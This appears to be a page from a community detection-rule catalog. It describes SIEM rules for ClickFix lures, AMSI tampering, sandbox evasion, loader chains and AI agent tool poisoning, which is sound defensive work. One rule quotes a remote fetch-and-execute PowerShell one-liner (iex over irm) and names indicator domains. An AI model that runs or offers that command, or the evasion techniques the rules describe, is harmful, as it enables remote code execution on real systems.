Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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This rule detects file and process activity originating from or involving specific directories and filenames associated with 'Agta' software, including temporary files such as PowerShell scripts and XML tasks. This behavior is indicative of potential unauthorized use of backup or testing utilities for malicious purposes, such as script execution or task manipulation.
Detects a potential ClickFix social engineering attack pattern where a user manually launches a script interpreter (e.g., PowerShell, cmd, mshta) from Windows Explorer followed within 30 minutes by the execution of 'rnpkeys.exe', a known indicator in installer side-load chains.
Detects the Kothamine post-installation technique where npm/node spawns PowerShell to reflectively load a .NET assembly stager into memory. This behavior is followed by the PowerShell process spawning anomalous instances of RuntimeBroker.exe or svchost.exe. These spawned processes exhibit suspicious characteristics, such as executing from non-standard file paths, having missing command-line arguments (like the required '-k' for svchost), or having an illegitimate parent process (powershell.exe) instead of standard system parents like services.exe or wininit.exe.
Detects the execution of VBScript files that use a double extension (.pdf.vbs) via Windows Script Host (wscript.exe or cscript.exe). This technique is commonly used to masquerade malicious scripts as benign PDF documents to deceive users into executing them.
Detects attempts to bypass or tamper with the Antimalware Scan Interface (AMSI). This rule monitors for command-line arguments indicative of reflection-based patching of AmsiUtils and forced AmsiScanBuffer failures, as well as registry modifications to AMSI providers.
Detects the execution of script interpreters (powershell, cmd, mshta, etc.) spawned directly by explorer.exe via the Run dialog, commonly associated with 'ClickFix' social engineering attacks where users are prompted to copy and paste malicious commands to bypass security mechanisms.
This rule detects two distinct exploitation patterns: first, WinRAR (CVE-2023-38831) spawning script interpreters as child processes, typically indicative of opening malicious archives. Second, explorer.exe (CVE-2023-36025) spawning hidden PowerShell sessions, a technique used to bypass Windows SmartScreen protections via malicious LNK shortcuts.
This rule detects potential command and control or malicious file staging activity by correlating DNS TXT record queries (often used for data exfiltration or staging configuration) performed by common system utilities (nslookup, PowerShell) with the subsequent execution of files from suspicious directories (Downloads, Temp) within a 30-minute window on the same device.
Detects a multi-stage evasion sequence where a process first queries the system for virtualization or sandbox artifacts (e.g., VM tools, system information), followed by an intentional sleep or delay to bypass sandbox analysis, and concluding with subsequent process activity. This pattern is characteristic of malware attempting to detect and evade automated analysis environments.
Detects a multi-stage evasion sequence where a process first queries the system for virtualization or sandbox artifacts (e.g., VM tools, system information), followed by an intentional sleep or delay to bypass sandbox analysis, and concluding with subsequent process activity. This pattern is characteristic of malware attempting to detect and evade automated analysis environments.
Detects potential 'ClickFix' activity where a browser or file explorer process initiates a shell (e.g., cmd, powershell, osascript) with command arguments indicative of remote script execution, obfuscated commands, or web-based payload downloading. This pattern matches known social engineering tactics that entice users to copy-paste malicious code into a system shell.
Detects a suspicious behavior pattern where PowerShell initiates an 'msiexec.exe' process to install an MSI file located in a temporary directory, followed by that MSI process launching a secondary executable from a '%LOCALAPPDATA%\Programs\' folder. This pattern is commonly associated with malware installation or post-exploitation activities where an attacker attempts to masquerade an executable as a legitimate program.
This rule detects potential malicious activity where the binaries 'COTFileReadApp.exe' or 'DeElevate64.exe' initiate child processes or are themselves parent processes to suspicious binaries such as 'rundll32.exe', 'regsvr32.exe', 'msiexec.exe', 'powershell.exe', or script hosts ('wscript.exe', 'cscript.exe'). This pattern is indicative of a RAT (Remote Access Trojan) or sideloading chain dropping and executing follow-on payloads.
Detects a suspicious PowerShell execution chain originating from explorer.exe, typically associated with ClickFix social engineering campaigns. The command uses 'Invoke-RestMethod' (irm) to download content, saves it to the user's TEMP directory, and immediately executes the downloaded script.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the use of Python or Pip utilities as parent processes to spawn potentially malicious binaries such as cmd.exe, powershell.exe, curl.exe, or rundll32.exe. This activity is often associated with the execution of downloaded payloads or shell commands directly through package manager workflows.
This rule detects potentially malicious command execution patterns where a Python interpreter (python.exe) is invoked with the '-m' flag to execute a module, which subsequently spawns a command shell (cmd.exe) as a child process. This behavior is often associated with adversary attempts to leverage Python's capabilities for system interaction, payload execution, or lateral movement, as documented in various campaigns that abuse Python as a living-off-the-land binary.
Detects a multi-stage attack chain where an AI-agent's configuration file (e.g., mcp.json) is modified, followed immediately by the execution of a tool process (node/python) spawned by the agent, the subsequent spawning of a shell process, and finally an outbound network connection to a rare, non-standard domain. This sequence is indicative of AI agent tool poisoning, where malicious tool definitions are introduced to execute arbitrary commands and exfiltrate data. Coverts T1195.002, T1565.001, T1059
Detects PowerShell commands that load images (JPG/PNG) and parse their pixel data for encoded payloads. This technique, often associated with Invoke-PSImage, uses steganography to hide malicious scripts within image files, which are then extracted using GDI+ methods (GetPixel) or byte manipulation and executed in-memory via IEX or assembly reflection.
FileFix loader chains abuse trusted code-hosting platforms like Bitbucket/GitHub to host staged payload components, exploiting domain trust to evade network detection.
Detects the spawning of script interpreters or loaders by Visual Studio Code (Code.exe) shortly after a workspace is initialized, specifically looking for command-line arguments referencing .vscode or tasks.json. This behavior is consistent with exploitation techniques where a user accepts a 'Trust Workspace' prompt, allowing malicious tasks defined in a repository's .vscode folder to execute.
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